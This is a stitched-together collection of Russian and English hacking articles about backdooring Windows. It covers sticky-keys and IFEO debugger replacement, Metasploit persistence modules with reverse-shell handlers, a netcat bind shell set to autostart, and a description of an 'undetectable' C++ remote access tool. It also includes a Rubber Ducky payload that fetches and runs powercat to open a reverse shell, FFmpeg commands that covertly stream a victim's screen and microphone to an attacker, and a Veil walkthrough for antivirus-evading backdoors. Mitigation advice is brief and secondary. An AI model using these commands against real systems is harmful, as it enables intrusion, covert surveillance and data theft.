В операционных системах Windows имеется довольно давно известная возможность организовать себе бэкдор, чтобы в будущем получить доступ к компьютеру, к которому доступа быть не должно. Сегодня хочу рассказать вам о нем, показать один из примеров его обнаружения, в самом топорном случае, а также маленько поразмышлять на эту тему.
В чем суть бэкдора? Все вы видели, что при входе в систему всегда есть кнопка «специальные возможности»
Там есть несколько утилит, таких как лупа, залипание клавиш, экранный диктор и т.п. Так вот, эти утилиты запускаются exe файлами, которые лежат в папке system32 вашей системной директории (по умолчанию – c:windowssystem32).
Если заменить оригинальные файлы, например командной строкой (cmd.exe), или еще чем-нибудь, где можно выполнять команды или что-нибудь запустить, то при запуске этих утилит из раздела специальных возможностей, преспокойно запустится замененный файл, и дальше можно делать всё что душе угодно.
Вот примеры исполняемых файлов, которые отвечают за специальные возможности:
sethc.exe – залипание клавиш
osk.exe – экранная клавиатура
Narrator.exe – экранный диктор
Magnify.exe – экранная лупа
DisplaySwitch.exe – переключение экрана
Напишите в комментариях, если что-то упустил.
В обычном случае, просто заменить эти файлы не удастся, т.к. не хватит прав. Для того что бы получить необходимые права сперва необходимо стать владельцем файла (в свойствах файла – вкладка безопасность – дополнительно – изменить владельца, само собой делать это нужно от имени администратора).
После чего во вкладке безопасность нужно дать полный доступ нужному пользователю на файл, и после этого можно заменить файл, например файлом cmd.exe.
Так же можно загрузиться с livecd, и если диск не зашифрован, то заменить файлы можно вообще без каких-либо проблем с правами.
Всё – теперь на экране ввода пароля можно пять раз быстро нажать shift (если будет заменен sethc.exe) и должна запуститься командная строка с повышенными привилегиями, где можно добавить администраторскую учетку и дальше делать всё что угодно на компьютере.
По мимо простой замены файлов, можно пойти несколько более хитрым путем – для утилит sethc.exe и utilman.exe в реестре можно добавить опцию debugger, и результат будет как при замене файлов. К примеру, это может сделать команда:
REG ADD «HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe» /v Debugger /t REG_SZ /d «c:windowssystem32cmd.exe»
Как же с этим бороться? Как всегда – подобную пакость гораздо проще предупредить, чем обнаруживать. Поэтому – не давайте кому попало админских прав и включайте шифрование дисков.
Так же данный бэкдор может обнаружить windows defender – поэтому не стоит его отключать.
Пожалуй, один из очевидных и простых способов обнаружения – это запустить все средства специальных возможностей вручную, и проверить – запускается то, что нужно или нет. Хотя он не может гарантировать результат, т.к. не исключено, что злоумышленник может сделать свои утилиты, которые в точности будут копировать функционал оригинальных, и только при определенных событиях, например, при нажатии определенной комбинации клавиш, запускать нужную программу.
Еще на просторах интернета был обнаружен — интересный скрипт, для совсем топорных вариантов оставления описываемой возможности доступа к системе. Я его немного переделал, что бы он работал на старых версиях powershell (проверял на версии 2). Он работает по следующему принципу – вычисляет хэш для cmd.exe, explorer.exe и powershell.exe и сравнивает их со значением хэш сумм вышеописанных утилит. Если они совпадут, значит злоумышленник подменил файлы, и скрипт об этом сообщит. По мимо сравнения файлов, так же анализируется 2 ветки реестра, на предмет опции /debugger для утилит sethc.exe и utilman.exe.
К сожалению, данный скрипт, конечно же, тоже не является панацеей, т.к. злоумышленник вполне может использовать тот же cmd другой версии с другого компьютера, и хэш суммы у оригинальной и подмененной версий будут разными, ну или опять же может спокойно создать свой исполняемый файл. Вообще эта тема довольно обширная и 100% сценарий для обнаружения не сможет дать никто, и заметка эта написана с целью, что бы вы знали, что такая возможность у злоумышленников существует. А что с этой информацией делать – решать вам.
И да – часто советуют полностью отключать в панели управления/групповых политиках/еще где то специальные возможности, якобы это вас убережет… Нет, не убережет, если у злоумышленника есть админский или физический доступ к компьютеру, то ему не составит никакого труда изменить ваши настройки, или сделать так что бы они сами постоянно менялись. Короче будьте бдительны.
В этой статье говорится о нескольких способах поддержания доступа или создания персистентного backdoor с помощью платформы Metasploit на той машине, которая была скомпрометирована.
Персистентный backdoor
Слово Persistence может переводиться как постоянный, поэтому в этой статье приведены несколько методов создания постоянного backdoor на компьютере жертвы.
Поскольку для получения доступа к любой системе требуется провести много тяжелой работы, и как только система успешно захвачена, пользователю нужно еще время для дальнейшего ее изучения, существует риск, что жертва может выключить свой компьютер или изменить учетные данные. Вот почему поддержание доступа является важным этапом пентестинга. Персистентность включает в себя методы, которые помогают человеку сохранить доступ к системе и получить измененные учетные данные при необходимости.
Предварительные данные:
ОС жертвы: Windows 10
ОС пользователя: Kali Linux (Metasploit Framework)
Примечание: для создания персистентного backdoor у пользователя должна быть скомпрометированная машина жертвы с включенным сеансом meterpreter, чтобы выполнить все действия, перечисленные в этой статье.
Методы получения персистентности с помощью Metasploit
Пора начинать: система жертвы уже была скомпрометирована и запущен сеанс meterpreter на правах администратора. Теперь пользователь хочет установить постоянный бэкдор в системе жертвы, который обеспечит обратное соединение при необходимости.
Служба персистентности
Этот модуль будет генерировать и загружать исполняемый файл на удаленный хост, а затем сделает его постоянным сервисом. Будет создана новая служба, которая запускает полезную нагрузку всякий раз, когда это необходимо. Требуются привилегии администратора.
Таким образом, пользователь введет следующие команды на своем Kali Linux для запуска упомянутого модуля:
use exploit/windows/local/persistence_service
set session 2
set lport 5678
exploit
Вышеупомянутый модуль, который будет генерировать и загружать исполняемый файл в систему жертвы под каталогом / temp как «lVFC.exe», и сделает его службой персистентности.
Если жертва перезагрузит систему, предыдущий сеанс meterpreter будет окончен. Теперь необходимо настроить мультиобработчик с помощью следующих команд для запуска полезной нагрузки:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 5678
exploit
Как только система жертвы будет запущена, пользователь автоматически получит сеанс meterpreter.
Когда компьютер запускается автоматически, некоторые из его служб работают по умолчанию, поэтому эксплойт persistence_service создает новую службу, которая будет активировать полезную нагрузку всякий раз, когда это необходимо. На приведенном ниже рисунке можно увидеть, что исполняемый файл IVFC.exe работает под именем пользователя системы. Надо проверить путь этого файла:
C:/Windows/Temp/IVFC.exe
Метод митигирования для эксплойта persistence_service
Прежде всего, следует определить незнакомые файлы, которые уже запущены, а затем остановить исполняемый файл, т.е. IVFC.exe и удалить его из каталога temp.
Persistence_exe
Это второй способ сохранить доступ к компьютеру жертвы. В этом скрипте уже был получен сеанс meterpreter компьютера жертвы, и есть доступ пользователя.
Этот модуль загрузит исполняемый файл в систему жертвы и сделает его персистентным. Он может быть установлен как пользователь, система или служба. В данном этот модуль будет задействован с помощью сеанса 1 (уже скомпрометированного) и установки rexpath (удаленного исполняемого пути). Этот файл полезной нагрузки будет создан на компьютере жертвы пользователем, но из-за скрипта персистентности он будет сохранен в каталоге temp с именем default.exe (его можно изменить). Нужно установить файл в меню задач автозапуска по пути реестра, указанному на рисунке ниже.
Для запуска этого модуля надо ввести следующие команды:
use post/windows/manage/persistence_exe
set session 1
set rexepath /root/payload.exe
exploit
После успешного запуска модуля пользователь должен настроить мультиобработчик с помощью следующей команды:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 1234
exploit
Как только жертва перезагрузит свой компьютер и войдет в систему, пользователь автоматически получит сеанс meterpreter.
На приведенном ниже рисунке можно увидеть функцию persistence_exe, которая создает службу автозапуска:
HKCU/software/microsoft/windows/currentversion/run/FOCxoPAO
Сервис начнет работать, как только компьютер жертвы запустится. Файл по умолчанию создается в каталоге temp.
Метод митигирования для Persistence_exe
Во-первых, нужно удалить запись из редактора реестра по пути:
HKCU/software/microsoft/windows/currentversion/run/FOCxoPAO
А затем удалить исполняемый файл полезной нагрузки из каталога temp и перезагрузить систему.
Реестр персистентности
Реестр является основной частью Windows и содержит избыток необработанных данных. Злоумышленники любят выбирать места реестра Windows для подключения к системе жертвы, чтобы файлы или коды не могли быть обнаружены сканированием на предмет подозрительных действий.
Этот модуль установит полезную нагрузку, которая выполняется во время загрузки компьютера. Она будет происходить либо при входе пользователя в систему, либо при запуске системы через значение реестра в разделе “CurrentVersionRun” (в зависимости от привилегий и выбранного метода). Полезная нагрузка будет полностью находиться в реестре.
Поскольку компьютер жертвы уже был скомпрометирован и получен сеанс meterpreter, необходимо использовать следующую команду для выполнения сохраняемости реестра.
use exploit/windows/local/registry_persistence
set session 1
set lport 7654
exploit
После выполнения эксплойта он будет создавать ключ реестра в разделе HKCUsoftwarewl4cN9w:
Если жертва перезагружает систему, сеанс meterpreter будет отключен. Для получения сеанса снова, следует просто установить полезную нагрузку мультиобработчика и выполнить ее.
use exploit/multi/handler
set set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 7654
exploit
Как только компьютер жертвы запустится, и человек войдет в систему, автоматически будет получен meterpreter из-за сценария автозапуска в реестре, который был установлен злоумышленником. Registry _persistence успешно выполняется.
С помощью приведенного ниже изображения можно проверить путь раздела реестра, созданного эксплойтом registry_persistence.
Получение персистентности с помощью Netcat
Netcat или nc — это утилита, которая использует TCP и UDP-соединения для чтения и записи в сети. Она может быть применена как для атаки, так и для обеспечения безопасности. В случае атаки утилита управляется скриптами, что делает ее довольно надежным бэкэндом. Если говорить о безопасности, то инструмент помогает отлаживать сеть наряду с инвестированием в нее.
Теперь настала пора сделать бэкдор persistence Netcat на скомпрометированной системе. Поскольку сеанс meterpreter уже получен, осталось загрузить файл netcat.exe в system32 компьютера жертвы с помощью следующей команды:
upload /usr/share/windows-binaries/nc.exe C:\windows\system32
Следующий шаг — настроить netcat на прослушивание случайного порта, например, 4445. После открыть его при запуске и установить соединение.
Надо использовать следующую команду:
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d 'C:windowssystem32nc.exe -Ldp 4445 -e cmd.exe'
При успешном подключении netcat пользователь получает shell компьютера жертвы. Теперь он добавит новое правило для межсетевого экрана под названием «netcat», в котором входящее соединение позволит использовать порт 4445 с помощью интерактивной командной строки cmd, выполняющей команду netsh. Вводится следующая команда:
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Для проверки режима работы и состояния порта выполняется команда:
netsh firewall show portopening
Когда жертва снова перезагрузит систему, пользователь получит netcat shell. В Kali Linux (атакующая система) следует выполнить данную команду, чтобы подключить бэкдор netcat по порту 4445.
nc -nv 192.168.0.142 4445
Персистентность с помощью RDP
После установления сеанса meterpreter с уже скомпрометированной целевой системой, пользователь будет применять скрипт getgui от Carlos Perez, что включает в себя удаленный рабочий стол, а также он способен создать учетную запись пользователя для входа.
Имя пользователя: Nisha
Пароль: 123
Выполняется следующая команда:
run getgui -e -u nisha -p 123
С помощью данного модуля можно использовать взлом «sticky keys». Взлом предоставляет пользователю средство для получения системного shell с помощью взаимодействия на уровне пользовательского интерфейса на экране входа в систему RDP или через диалоговое окно подтверждения UAC.
use post/windows/manage/sticky_keys
set session 2
exploit
Как можно увидеть, sticky keys успешно добавлены, теперь, чтобы запустить эксплойт на RDP или UAC, нужно нажать клавишу Shift 5 раз.
Теперь пользователь проверит сертификат и соединение с помощью rdesktop и введет «Yes». Выполняется следующая команда:
rdesktop 192.168.0.142
Ура! Цель достигнута.
Заключение
Персистентность не требует никакой аутентификации для подключения к системе жертвы. Чтобы завершить пентестинг, всегда следует помнить о необходимости очистки процессов и служб бэкдора на хосте жертвы.
Автор переведенной статьи: Nisha Sharma
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.
Windows Backdoor
A Hidden and Undetectable Remote Access Tool written in C++ and Server in Python3
This program utilizes the standard winsock library for sending and receiving data back and forth between the server and client. The server can manage multiple connections at once with the use of multi-threading having an easy time switching to other remote machines simply in order to control it from a command line view.
Constants in Client Program:
- server: Specify server’s IP address here
- startup: If enabled, copies itself to the targets startup folder upon runtime.
- timeout: Restarts client if no data is received after a specified period of time (default: 5 minutes)
Client Requirements
- Operating System: Windows
- Compiler: C++ MinGW 64-Bit
Server View
Usage
- Run the ‘server.py’ file on your own machine you would like to control the remote client from.
- Run the compiled ‘backdoor.exe’ file (backdoor.cpp) on your targets machine with the specified server IP Address to establish a connection on an unoccupied port.
Compile C++ Program
- g++ backdoor.cpp -mwindows -o backdoor -lws2_32 -lstrmiids -lole32 -loleaut32 -static-libgcc -static-libstdc++ -static
Contributing
- Feel free to submit any possible bugs as I’ll be glad to respond to anyone and help with whatever’s needed to help fix and improve this program.
Disclaimer
- This program is for educational purposes only! Use at your own risk.
The Windows 10 desktop and microphone can be livestreamed without using Remote Desktop Protocol (RDP) software and without opening any ports on the target computer. A hacker with low user privileges can monitor and exfiltrate a target’s every move and private conversation in real time no matter where they are. Hackers are watching and listening, and there are few ways to protect yourself.
Understanding the FFmpeg Attack
FFmpeg is a multimedia framework able to encode, stream, and play most file formats on Windows, macOS, and Unix-based distributions. It’s a portable and standalone software, meaning it can run as a single executable without any installation or configuration.
The hacker downloads FFmpeg software on both the attacker’s system and the target Windows 10 computer. They create a listener on the Android attack system that will intercept the incoming video stream from the Windows 10 computer. The video stream is saved to a local file and played using the Android device.
Below is an example livestream created using a compromised Windows 10 desktop and intercepted with an Android phone. The frame rate is a bit low, which was done intentionally to minimize the CPU load on the target machine as well as create a smaller video file (AVI) on the Android.
Much like how macOS can be covertly hacked to livestream the entire desktop, Windows 10 is equally vulnerable to such attacks. Even at a low frame rate, an attacker can monitor a target’s every move in real time.
These attacks can be carried out quickly without administrative privileges by merely downloading the FFmpeg executable and running a single command. All without the target’s knowledge or being caught by antivirus software.
- Don’t Miss: Secretly Livestream Someone’s MacBook Screen Remotely
Step 1: Backdoor the Target Windows 10 Computer
This article assumes a remote backdoor (Netcat) has been established already. Taking control of a Windows 10 device can be accomplished in several ways, including:
Option 1: USB Rubber Ducky
The USB Rubber Ducky is a popular keystroke injection tool. As shown in my other guide on using an Android phone and USB Rubber Ducky to backdoor Windows 10, the below Ducky payload is capable of establishing a root shell in just a few seconds via PowerShell.
- Learn More: See the Commands Breakdown for This Ducky Payload
DELAY 5500
GUI r
DELAY 700
STRING powershell /w 1 /C $a=$env:TEMP;Set-ExecutionPolicy Bypass;wget https://cutt.ly/cW13i -o $ad.ps1;ipmo $ad.ps1;powercat -c 192.168.0.208 -p 1234 -e powershell
CTRL-SHIFT ENTER
DELAY 850
ALT y
Option 2: Bypass the Login Password
Similarly, where physical access is possible, a Windows 10 computer can be backdoored by dropping a malicious file in the StartUp directory.
Windows maintains «Startup» folders to launch programs at boot automatically. This was designed for convenience and allows users to place legitimate application shortcuts (e.g., web browsers, word processors, media players) and scripts into the StartUp folder at any time. StartUp folders are commonly abused by attacker’s to establish some degree of persistence to the device.
In my guide on breaking into a Windows 10 computer without a Password, a simple Msfvenom payload is used to control the Windows 10 device remotely. But realistically, a more advanced undetectable payload or sophisticated PowerShell payload would be used to maintain persistence.
- Learn More: How to Break into Somebody’s Computer Without a Password
Option 3: USB Dead Drop
USB dead drops are a useful technique for compromising computers. This topic is covered in-depth in my guide on hacking WPA2 Wi-Fi Passwords with USB dead drops). The featured payload is designed for exfiltrating Wi-Fi passwords but can be substituted with other PowerShell payloads capable of interacting with Netcat listeners.
- Learn More: How to Hack WPA2 Wi-Fi Passwords Using USB Dead Drops)
Option 4: Email Attachment with an Undetectable Payload
In my guide on creating an undetectable payload, executables are disguised to appear as ordinary PDF and TXT files. This makes emailing malicious attachments possible. Below is a GIF of an executable disguised as a text file.
- Learn More: How to Create an Undetectable Windows 10 Payload
Make no mistake, the file on the right is an executable. When the fake text file is clicked, it opens a new document using Notepad, the default text editor in Windows 10. After opening Notepad, it silently executes an embedded PowerShell payload which creates a backdoor into the Windows 10 computer.
Option 5: Capture & Decrypt the Login Password
If a Wi-Fi network is shared with the target Windows 10 computer, it may be possible to intercept NTLM hashes (shown below, in red).
NTLM credentials are based on data obtained during the interactive logon process and consist of a domain name, a username, and a one-way hash of the user’s password. NTLM uses an encrypted protocol to authenticate a user without sending the user’s password in plaintext over the network.
Unfortunately, the HMAC-MD5 hashing algorithm used by NTLM is still highly susceptible to brute-forcing attacks, allowing tens of millions of password attempts per minute — even when the attack is performed using older Android phones and Raspberry Pis.
In my guide on intercepting and decrypting Windows passwords, the attack is covered in greater detail. After brute-forcing the target’s login password, it would be possible to log in and quickly embed a backdoor using schtasks or the StartUp folder.
- More Info: Intercept & Decrypt Windows Passwords on a Local Network
Option 6: Social Engineering (Other Tactics)
There’s no telling how many different ways a target can be tricked into opening a file containing a stager or payload. Inconspicuous or otherwise unremarkable items like a birthday card or post-it note can be used to entice and disarm unsuspecting targets. Common, everyday items can set complex social engineering hacks into motion as shown in my guide on hacking Wi-Fi passwords with a birthday card.
- Learn More: Hack Anyone’s Wi-Fi Password Using a Birthday Card
Again, the payload featured in this article can be substituted with a different, more complex PowerShell script. It’s the social engineering and human-hacking aspect that should be taken into consideration.
Step 2: Set Up the UserLAnd App on Android
UserLAnd is an Android app that makes it possible to install Linux distributions alongside the Android OS. This is accomplished completely without rooting or wiping the Android device. Lightweight Kali or Debian operating systems can be up and running in minutes with just a few clicks.
A Kali OS is required to follow along, check out Distortion’s guide on turning an Android phone into a hacking device without root, as well as my guide on hacking WPA2 Wi-Fi passwords using Android. They both cover the UserLAnd basics and setting up Kali Linux, Ngrok, and essential software you’ll need.
Once you install and configure everything, connect to the OS via SSH with ConnectBot (or JuiceSSH or the built-in SSH client).
Step 3: Install FFmpeg in Kali on Android
First, FFmpeg needs to be installed on the attacker’s device, to properly intercept the livestream coming from the hacked Windows 10 computer. Install FFmpeg in Kali (UserLAnd) using the below command.
sudo apt-get update && sudo apt-get install ffmpeg
Step 4: Start the FFmpeg Listener from Android
To receive incoming streams, use the below command to start FFmpeg.
screen ffmpeg -i udp://0.0.0.0:10001 /sdcard/Download/livestream.avi
Screen is prepended to the command, making it possible to close the UserLAnd SSH session without terminating the running FFmpeg command. Readers are encouraged to learn to use Screen as it makes it easy to transition between shells.
This FFmpeg command will open UDP port (udp://) 10001 and accept input (-i) streams on every available interface (0.0.0.0). It will then save the stream to the /sdcard/Download/ directory in AVI format with the file name «livestream.avi.» The port number and file name can be changed if needed but always use the /sdcard/Download/ directory to make the file available to the Android OS and VLC app.
To detach from the Screen session without stopping the FFmpeg listener, press Ctrl-a, then d.
Step 5: Download FFmpeg on the Backdoored Windows 10 Computer
All of the following commands in steps 5, 6, and 7 are done via the backdoored Windows 10 device. These steps assume a Netcat shell has been established.
Execute the below Invoke-Webrequest (iwr) command to download the FFmpeg ZIP onto the Windows 10 computer. At the time of this writing, the last version is v20190506-fec4212. To make sure you have the latest version, use the Android web browser, head over to ffmpeg.zeranoe.com/builds/, and copy the latest version’s URL from there.
iwr -Uri 'https://ffmpeg.zeranoe.com/builds/win64/static/ffmpeg-20190506-fec4212-win64-static.zip' -Outfile $env:TEMPffmpeg.zip
Invoke-Webrequest will download (-Uri) the FFmpeg ZIP and save it (-Outfile) to the temp directory ($env:TEMP) with the file name ffmpeg.zip.
Step 6: Unzip the Archive
PowerShell versions >5.1 have a handy decompression function called Expand-Archive. Expand-Archive can be used to unzip the ffmpeg.zip in the target’s temp directory quickly.
Expand-Archive -Path $env:TEMPffmpeg.zip -DestinationPath $env:TEMPffmpeg
Expand-Archive will take the input file ($env:TEMPffmpeg.zip) and unzip it into (-DestinationPath) a new folder called ffmpeg.
When that’s done, change (cd) into the new ffmpeg directory. Use the wildcard (*) path name as shown below to autocomplete the version number in the directory name.
cd "$env:TEMPffmpegffmpeg*bin"
Then, list the files in the directory to ensure the ffmpeg.exe is available.
ls
Directory: C:UsersIEUserAppDataLocalTempffmpegffmpeg-20190116-51978ae-win64-staticbin
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/16/2019 4:14 AM 64969728 ffmpeg.exe
-a---- 1/16/2019 4:14 AM 64856064 ffplay.exe
-a---- 1/16/2019 4:14 AM 64877568 ffprobe.exe
As we can see, the executable is available. It’s now possible to start livestreaming the target’s entire desktop.
Step 7: Livestream the Windows 10 Desktop
FFmpeg supports several useful output formats. It can stream the entire desktop with or without audio through the target’s microphone. Below will cover streaming video-only, audio-only, as well as video and audio simultaneously.
Option 1: Video Streaming Only
To start streaming only the target’s entire desktop without sound, use the below ffmpeg.exe command via the Netcat backdoor.
.ffmpeg.exe -f gdigrab -i desktop -f dshow -f avi udp://192.168.0.208:10001
The Graphics Device Interface (-f gdigrab) and DirectShow (-f dshow) Windows components are responsible for representing graphics and transmitting them to connected monitors and printers. FFmpeg essentially taps into these components (-i desktop) and sends the output (udp://) to the attacker’s server in AVI (-f avi) format.
When using the above command, remember to change the attacker’s IP address (192.168.0.208) to the IP used by the Android device hosting the FFmpeg listener. As the computer is livestreaming, the video will be available in Android’s Downloads app (or the «Downloads» folder in Files, My Files, or a similarly named app).
For more on GDI and DirectShow and the available command arguments, check out FFmpeg’s documentation on «gdigrab,» «desktop,» and «dshow.»
Option 2: Audio Streaming Only
It may be more desirable in some scenarios to only stream audio overheard by the computers built-in microphone. In that case, first, list the available input interfaces built-in to the Windows 10 computer.
.ffmpeg.exe -list_devices true -f dshow -i dummy
ffmpeg version N-92981-g51978aefe8 Copyright (c) 2000-2019 the FFmpeg developers
built with gcc 8.2.1 (GCC) 20181201
[dshow @ 0000021d3560a480] DirectShow audio devices
[dshow @ 0000021d3560a480] "Microphone (Realtek High Definition Audio)"
[dshow @ 0000021d3560a480] Alternative name "@device_cm_{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}wave_{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
Notice the «Microphone (Realtek High Definition Audio)» interface in my FFmpeg output. It may appear differently based on the kind of hardware and microphone used by the backdoored Windows 10 computer.
Copy and input the audio interface name exactly as it appears into the following command, with double-quotes.
.ffmpeg.exe -f dshow -i audio="Microphone (Realtek High Definition Audio)" -f avi udp://192.168.0.208:10001
The -i argument instructs FFmpeg to use the audio= input when streaming to the attacker’s server.
Option 3: Video & Audio Streaming Simultaneously
To stream the entire desktop while recording audio at the same time, use the below command.
.ffmpeg.exe -f dshow -i audio="Microphone (Realtek High Definition Audio)":video="desktop" -f avi udp://192.168.0.208:10001
Similar to the audio= argument, here, both the video= and audio= inputs are being used when streaming to the attacker’s server. The input devices are separated by a colon (:) and must always use double-quotes.
- Don’t Miss: How to Create an Undetectable Payload
Step 8: Watch & Listen to the Stream in Real Time
The built-in Android video player isn’t able to play the streaming video/audio while the file is actively being created (streaming). There are other noteworthy video players that may be able to play video files this way, but only VLC was tested for this article. Feel free to substitute it with a different, equally adequate video player. VLC is available via the F-Droid repository and Google Play Store.
- F-Droid Link: VLC for Android
- Play Store Link: VLC for Android
After installing VLC, navigate to the Android’s Downloads app (or the «Downloads» folder in Files, My Files, or a similarly named app) to find the «livestream.avi» file. Notice how the file size continues to increase as the file streams the Windows 10 desktop.
To open the file in VLC, highlight the AVI, select either the more options icon plus «Open With» or the share button, then hit «VLC» or «Play with VLC.» VLC will continue to play the file as long as the FFmpeg connection is established.
How to Protect Yourself from FFmpeg Attacks
It’s unlikely that antivirus software will defend against these types of attacks on Windows 10. After all, FFmpeg isn’t considered a malicious application, and it doesn’t attempt to open ports or modify sensitive files on the computer.
Option 1: Search for Possibly Malicious Apps
If you’ve never heard of FFmpeg and are certain it hasn’t been installed by another application, then FFmpeg probably has no business on the computer. A simple search will help locate related files on the computer.
First, open the File Explorer and click on «This PC» in the far-left column. This step is important. Otherwise, it will only search the current directory. Then, search for «ffmpeg» in the top-right corner.
Notice the FFmpeg EXE and ZIP in the Temp directory. At this point, it’s probably best to disconnect the computer from the internet and router and begin forensic investigations to identify by whom and when the device was compromised.
- Don’t Miss: How to Capture Keystrokes & Passwords Remotely
Option 2: Use Task Manager to Spot Data-Stealing Apps
If the computer is actively livestreaming the data, the Windows 10 Task Manager can be used to view running background processes, applications, and services. It can also be used to analyze system resources, for example, identifying applications taking up too much RAM or CPU.
To open the Task Manager, search for «Task Manager» and open it as an administrator by right-clicking it. The task manager needs to be started with admin privileges to view anything running by a root backdoor.
Notice the «ffmpeg.exe» using 30% of the of the CPU. A patient attacker may optimize the FFmpeg command to minimize its overall load on the CPU, so it may not always be detectable this way.
To stop FFmpeg, right-click on the process, and select the «End Task» option. Again, it’s probably best to immediately disconnect the computer from the internet and router at this point.
Option 3: Use Wireshark to Spot Data-Stealing Apps
Keep in mind, a clever attacker may rename the ffmpeg.exe to something less obvious like «explorer.exe» or «Service Host.» For a more comprehensive look at data leaving the Windows 10 computer, download and install the latest version of Wireshark. During the installation process, be sure to install WinPcap as it’s a required dependency of Wireshark.
Open Wireshark and start capturing on all available interfaces. If an attacker is actively livestreaming the desktop, a large amount of data will be seen leaving the network.
It might be difficult to identify a large amount of data leaving the computer as malicious. Windows 10 does a number of things in the background that might be misinterpreted as shady. Analyzing the individual packets won’t help much either. If this is an FFmpeg attack, it can be identified (with certainty) using the below method.
First, right-click on one of the UDP packets, and select «Follow,» then «UDP Stream.»
A new Wireshark window will pop up. Take note of the «client pkts» in the bottom-left corner. This number will continue to increase as Wireshark compiles the UDP packets into a single stream. Be patient here. If the attacker has been livestreaming for a prolonged period of time, this process can take Wireshark several minutes to complete.
When Wireshark is done, the «Show and save data as» option will become available. Change it to «Raw» and wait for Wireshark to finish compiling again.
Finally, click the «Save as» button and save the data with the «ive_been_hacked.avi» file name. The video will then be playable by the Windows 10 video player. When playing the AVI, if it’s clearly a video of the entire desktop or audio recordings of your private conversations, then your computer has been hacked. Disconnect it from the router immediately.
That’s all there is to executing and detecting FFmpeg attacks. Follow me on Twitter @tokyoneon_ and let me know if you have any questions or concerns there or below in the comments here.
Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.
Buy Now (90% off) >
Other worthwhile deals to check out:
- 97% off The Ultimate 2021 White Hat Hacker Certification Bundle
- 99% off The 2021 All-in-One Data Scientist Mega Bundle
- 98% off The 2021 Premium Learn To Code Certification Bundle
- 62% off MindMaster Mind Mapping Software: Perpetual License
Работа с различными вредоносными файлами — это область в которой должны разбираться этичные хакеры. Мы уже много раз рассказывали об инструментах создания вирусов для различных операционных систем. В этой статье продолжим изучать тему малвари и рассмотрим еще один способ создания вируса бэкдор с помощью инструмента Veil на Kali Linux (или любом другом дистрибутиве Linux).
Еще по теме: Анализ компьютерных вирусов в домашней лаборатории
Как создать вирус для Windows с помощью Veil на Kali Linux
Вирус бэкдор (троян, rat) — это вредоносное ПО, цель которого — скрытое подключение, получение информации и манипуляция удаленным компьютером.
Далее покажу, как я создал вирус бэкдор для своего компьютера Windows, запуск и работу которого не смог обнаружить даже антивирус. После запуска вируса я смог удаленно управлять компьютером, делать снимки с вебки, скрины, использовать кейлоггер и т. д.
Рассмотрим шаги для создания вируса.
Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы, были использованы наши собственные устройства. Использование подобных инструментов на чужих устройствах без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Я также рекомендую рассмотреть похожий инструмент для создания вируса под Android, о котором мы рассказывали в статье «Создание бэкдора для Android с помощью Evil Droid».
Установка Veil на Linux
Первым шагом будет установка Veil. Если вы используете отличный от Kali Linux дистрибутив, тогда нужно также установить Metasploit.
Для быстрой и тихой установки Veil на Kali Linux:
apt —y install veil /usr/share/veil/config/setup.sh —force —silent |
Использование фреймворка Veil
После установки для запуска фреймворка, используем команду:
Фреймворк Veil состоит из двух инструментов Evasion и Ordinance, которые можно отобразить командой:
Нас интересует Evasion, поэтому вводим:
Создание исполняемого файла вируса
В вирусах типа бэкдор создается обратное соединение. Когда целевой пользователь запускает вредоносный файл вируса, компьютер пытается соединиться с компьютером хакера. Этот процесс называется «бэкконнект». Атака идет изнутри, поэтому антивирусы не всегда могут обнаружить подобную атаку. По этой причине лучше использовать порт 8080 — это обычным порт используемый для подключения к сайтам.
Для отображения списка полезных нагрузок (вирусов), используем команду:
Я буду использовать 15-й вариант. Эта опция в качестве языка программирования полезной нагрузки Meterpreter использует golang:
Для создания вируса нужно задать параметры LPORT и LHOST.
- LPORT — IP-адрес атакующего компьютера. Чтобы узнать свой IP-адрес, используйте команду
ifconfig. - LHOST — порт для подключения. Я буду использовать 8080, но вы можете выбрать другой порт.
set LHOST ваш_ip set LPORT 8080 |
Сигнатурный анализ антивируса основан на поиске в файлах уникальной последовательности байтов — сигнатуры, характерной для определенного вируса. Для каждого нового вируса определяется его сигнатура. Полученные данные помещают в базу данных вирусных сигнатур, с которой работают все антивирусы.
Если сигнатура вашего вредоносного файла присутствует в этой базе, антивирус пометит ваш файл как подозрительный. Поэтому рекомендуется использовать обновленную версию Veil, так как обновленная версия лучше справится с маскировкой вируса и позволит обойти антивирус.
Следующие настройки я использовал для обхода антивируса. Это не обязательная часть, но лишняя защита вредоноса не помешает.
Для создания вируса выполняем команду:
Дайте имя файлу. Я назвал его backdoor_8080, но в реальном пентесте, чтобы он не вызывал подозрений, вы должны назвать его иначе.
Созданный вирус будет сохранен в каталоге:
var/lib/veil/output/compiled/ |
Подключение к удаленному компьютеру
Теперь запустим фреймворк Metasploit. Чтобы запустить Metasploit, откройте терминал и выполните команду:
Выбираем модуль multi/handler:
use exploit/multi/handler |
Отобразим параметры:
Изменим параметры в соответствии с нашими требованиями. Выполним следующие команды:
set PAYLAOD windows/meterpreter/reverse_https set LHOST IP set LPORT 8080 show options |
IP — это IP-адрес нашего компьютера, который мы использовали во время создания вируса.
Запускаем слушатель:
Доставка вируса на целевой компьютер
Теперь можно отправить вирус на целевой компьютер. Если у вас есть нет физического доступа к устройству, тогда можете применить методы социальной инженерии. Имейте в виду — это незаконно, если у вас нет письменного разрешения на проведение пентеста.
Тестирование вируса на Windows
Запускаем вирус на компьютере Windows (в моем случае — файл backdoor_8080.exe).
Возвращаемся в Metasploit и видим, что открыта сессия metepreter. А значит мы взломали удаленный компьютер и можем с ним взаимодействовать.
